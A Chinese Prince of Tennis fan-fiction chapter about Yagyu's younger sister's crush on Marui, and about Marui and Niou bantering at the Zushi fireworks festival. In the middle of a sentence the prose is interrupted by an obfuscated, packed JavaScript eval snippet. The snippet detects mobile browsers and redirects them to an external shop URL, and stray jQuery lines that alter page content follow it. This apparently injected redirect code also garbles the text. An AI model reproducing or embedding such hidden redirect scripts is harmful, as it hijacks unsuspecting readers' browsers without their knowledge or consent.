五月中旬的期中考核后,切原因为种种不可抗力,总是要晚半小时到一小时,才蔫头耷脑地赶到网球场参加部训。幸村允许他迟到,连真田也没多说什么,其他人过了几天也逐渐回过味来,唯有老师的安排才能优先于部内纪律,大概是切原的班主任跟部长他们有过沟通吧。
至于原因也是非常好猜,考试过后的留堂,显而易见就是补习和补考了。
“有那么严重吗?居然已经持续一周了……”丸井文太满脸疑惑,说完后吹出一个泡泡,“比吕士,这次一年级的测试难度特别高吗?”
原本蠢萌蠢萌的学弟现在成天像霜打的茄子一样缺乏活力,学长很担心宠物的精神状态。
“确实很奇怪呢……我听妹妹说应该只是普通难度。”柳生比吕士说。
“这样啊……”
结果还是最有常识的仁王雅治道出一针见血的吐槽:“柳生你们兄妹的成绩常年都在年级数一数二,对难度变化的感受应该不会太明显吧,但对切原那种头脑水平来说可就完全不同咯。”
这样的解释丸井文太简直秒懂:“哈哈哈,原来如此。”
后来他去一年级教室找切原借新出的漫画,确实发现柳生他妹妹正坐在对方的隔壁帮忙辅导作业,看到那位紫发女生隔一会儿就转过头轻轻叹气,丸井文太心中颇感同情。
在女生面前,知情识趣的学长难得没说什么促狭的话打趣切原,借走漫画就转身离开,临走前还送给学弟一个明快的wink作为感谢。不过丸井文太并不知道的是,他的到访后来在这个一年级的班级里掀起了一阵小小的热议。
“长相比传闻中的还好看呢。”
“那闪闪发光的笑容简直就是偶像!”
那位二年级的丸井学长是很受欢迎的,容颜秀丽,性格也友善可亲,交际广阔而且外界从无不良评价,运动神经更是出类拔萃的天才水平,无论在高年级的学姐们还是一年级的女生当中都具有相当高的人气。
有人好奇地问:“切原,你知道丸井学长他有女朋友吗?”
“哈——?我不知道啊,他那个人对任何女生都差不多吧……”切原赤也打了个哈欠,不太感兴趣地说。
关系还没丸井学长跟我好呢。他有点小自负地心想。
“传闻说似乎有呢。”
“咦?!”海带头意外地瞪圆大眼睛。
“不过好像很快就分手了吧,似乎是部活太忙之类的原因。”
什么嘛。切原赤也不自觉地松了口气,脱力地一头趴在桌上。这番动作全凭直觉反应,直至此刻他才感到一阵纳闷,搞不懂自己为什么反应过度。
旁边的柳生妹妹被他一惊一乍的反应弄得无奈,用自动铅笔的笔尾轻轻戳了他的手臂两下,小声提醒:“切原君,你该写下一题了。”
“是是——”
第一次是在柳生家的学习会,第二次是课后给同班的切原补习,柳生的妹妹第三次偶遇丸井文太,是在教学楼的走廊转角,她刚艰难抱着一大摞会议资料走出办公室,还没走几步,在转弯的时候没掌握好重心,一不小心就让怀里的资料全都飞了出去,把对面经过的人砸个正着。
“呜哇——这是怎么搞的啊……”
哪怕是带着不满的抱怨语气,丸井文太那极具辨识度的悦耳音色都有天赋在其中掺入一丝撒娇般的氛围。他抬起眼帘,一眼便瞧见颇为眼熟的学妹脸色飞快由红转白,不由眨了眨眼,抢在对方开口道歉前先开了口:“啊!你是柳生家见过的——
“怎么你一个人搬那么多东西啊。”文太蹲下身,帮忙一本本捡起四处掉落的纸册,他的目光在文件上的文字稍作停留,“唔……会计报告书?这不是学生会的东西吗?”
“嗯……非常不好意思。”柳生妹妹满脸愧疚,尴尬得整个人都要钻到地缝里去了。
“没事,你也一次性搬这么多资料很困难吧。”丸井文太换位思考,立刻为她鸣不平,“让你一个女孩子做这个也太过分了!”
对方拘谨地小声说:“因为我才一年级,需要分担一些杂活也是正常的。”
“那也应该让其他人来帮帮你啊。”文太说完自己先叹了口气,不再说会让对方感到为难的话,起身时把收拾好的文件都抱了起来,“算了,你去哪儿?我们一起去。”
光凭几句话的沟通他就能看得出来,柳生的妹妹性格有些内向,这种文静又善于忍耐的性格最容易吃亏,平日宁可自己多付出一些,也不会去特地麻烦他人。生活的运行逻辑往往就是如此,最终大多的苦都被能吃苦的人包揽了。
在这样的印象下,丸井文太后来遇到对方的时候都是能帮则帮。当然了,如果杰克在他的身边,文太便会毫不犹豫地把体力活交给发小代劳。
这样一来二去,他自己因为是很擅长照顾人的性格所以对那些琐碎的善意关照没太多自觉,但对另一边而言,意义却截然不同。
当对方试探性地邀请他一起去观赏花火大会时,丸井文太心思细腻,很快从女孩脸颊微红的表现中觉察了什么。
有点不太妙,他只是把对方当作朋友妹妹对待……
最简单的办法是当场拒绝,以免造成误会,但他既不忍让女生这边下不来台,也不希望跟柳生那边产生不愉快,便假作不知地笑着答应了下来。
“不过你那边应该也有跟其他人一起吧?”他状似不经意地调整了一下话题的方向,贴心地问,“我去的话,会不会有些冒昧呢?对了,你是跟同学一起?还是家人?”
脸皮薄的女生在一切未挑明的阶段实在说不出只想两个人一起去的话,支吾了半晌,低声说:“家、家人吧。”喊上同学一起也太羞耻了,恐怕隔日学校就要冒出各种八卦传言,兄长已经是她能接受的极限。
于是便这么约定了下来。
神奈川的逗子海岸每年都会在初夏举办花火大会,这是五月份整个关东地区规模最大的海上花火盛会,会场位于和镰仓相邻的逗子市,其实距离立海很近,搭乘电车的话只需要一站即可抵达。
电车门打开,丸井文太跟随人群从中走出的模样十分显眼。他身量纤细,如今换上了一身带有海浪纹样的绛红色浴衣,锁骨在宽松的领口下若隐若现,碎发微微长过耳际,远处的灯光映出他分外俊俏的侧脸,眼睫、鼻梁的线条都勾勒得流畅挺拔,只需眸光灵动地轻轻一转,就能从骨子里流露出一种惹人偏爱的少年气息。
就是那张嘴在某些时候还是蛮恶劣的。
“唷,仁王啊,你什么时候改姓柳生了?比吕士也没告诉我啊。”
丸井文太看到柳生兄妹的身影便走了过去跟他们汇合,同时浅紫色的眼睛瞄向与他们一起等待的仁王雅治,眼底滑过一抹不怀好意的打趣,拐弯抹角地损起他不请自来的事。
不过丸井文太也算是棋逢对手,因为仁王雅治信口胡诌的本领也是登峰造极,睁着眼睛就开始说起了瞎话:“嗯,是啊,就前不久。因为喜糖准备得有限,全网球部里只有某个人没被邀请。”
前一秒还在笑嘻嘻的文太登时咬牙切齿:“喂你这家伙——”
三名男生里唯有柳生还算是正经一些,轻轻推了下眼镜,冷静道:“仁王君,请不要败坏我的名声。”
“puri。”
后来为了避嫌——到底是哪一方需要避嫌就别管了——一行人变成了柳生兄妹走在前面,而丸井文太跟仁王雅治则落到后方闲聊的状态。
二人慢慢踱步,仁王雅治向来不太合群,这回也难得配合场合换上了一身群青色的浴衣。银
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901539|188823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发少年无论何时都一副漫不经心的慵懒模样,夜幕下的眉眼沾着银粉似的月色,看起来又是英俊又是冷清。
丸井文太说:“虽然不想承认,但还好有你过来。”否则他就算再擅长调节氛围,在这种场面下也会觉得有点尴尬。
“呵。”仁王雅治轻笑了一声,意味深长地道,“那你不好奇我为什么被他们喊过来吗?”
“那个啊……在问为什么之前,我想先问下‘他们’是什么意思?”
文太当时正边走边吃着一根从街边小摊上买的棉花糖,听到这话时,脸上浮现出一丝诧异,错愕地望向故意卖关子的仁王。
似乎是为了不让前面听见他们的说话声,对方将脚步放慢了些,丸井文太也心领神会,二人渐渐与柳生兄妹拉开距离。
沁凉的晚风带有一丝咸湿气息,海岸边游人如织,热闹的氛围搭配着周边缤纷多彩的灯光,让附近每个人的脸上都带有迎接节日庆典般的欢欣笑容。
“砰——”、“砰——”的响声不绝于耳,烟火就在澄澈夜色中如繁花般盛大绽放。
为了能让彼此更清楚地交谈,仁王向文太靠近了一些,笑容逐渐真切的脸慢腾腾地歪过来。
“明知故问。”凑近那被红发遮覆的耳际,仁王的语气里还带着几分狡猾愉悦的余韵。
“你这家伙真是烦人啊!”
丸井文太忍不住似嗔似恼地横了他一眼,大概是被戳破了心思,有点挂不住面子。
远处花火飞燃,从海面窜上高空的绚烂光华隐隐约约映出他脸颊微红的颜色,明媚的光衬得他瞳孔深处的色彩灼灼烈烈,闪烁于当中的怒意反而成为极其生动的点缀。
不得不承认,这家伙真是适合红色。
仁王雅治笑了一下,才说:“柳生找我过来,是让我盯着你,别再到处散发你招三惹四的魅力。他妹妹请求我过来,虽然没明说,不过大概是寄希望于有我在现场,多少能分散一些柳生的注意力。”
更多的解释他就不说了,毕竟丸井文太的领悟力向来不负他的天才之名,生活里有很多事都是你知我知即可,不必全都宣之于口。
不过这也不妨碍丸井文太沉思后道出一句感叹:“仁王你还真好用啊。”
他知道很多人都是关系变近以后才会展现出特别的一面,像是仁王雅治时常会让人觉得行动孤僻,心思又向来神秘莫测,但对柳生他们来说,说不定那家伙其实是能被托付信任的可靠对象?
对了,恶作剧的时候要除外。
“那么——”
丸井文太轻轻咬了一口棉花糖,舌尖卷过一缕甜蜜的糖丝,看起来仿佛只是随口一提,又像是敏锐至极地把话题切入对方内心的要害。
他笑着问:“请问仁王同学你自己的意愿是什么呢?”
仁王雅治有些意外地瞧了他一眼,丸井文太眼神晶亮,透着洞察的明辉,唇角微扬,送给他一个锐气四溢的漂亮笑容。
于是在他半步距离之外的仁王也弯起唇,转过头望向漫天盛放的花火,瞳仁深处闪烁着星星点点的光,将那双冷绿色的眸子也染上了斑斓热烈的美丽色彩。
“明知故问。”
他又用同一句话来回答,不过仁王雅治十分确信丸井文太还是能听得懂,与此同时心中又不期然升起一丝无奈的情绪。
将那种太擅长揣摩心思的家伙作为对手其实很麻烦,永远都无法确保自己能处于上风,还可能将自己并不打算诉诸于口的念头也暴露无遗。机会主义者的现世报不仅从不迟到,还快得让人措手不及。
但不可否认的是,和丸井文太这种有来有往的针锋相对确实刺激,让仁王雅治有些上瘾。他此刻心情愉快地在这里观赏烟花,也并非出于任何人的请求,而是他自己就乐在其中。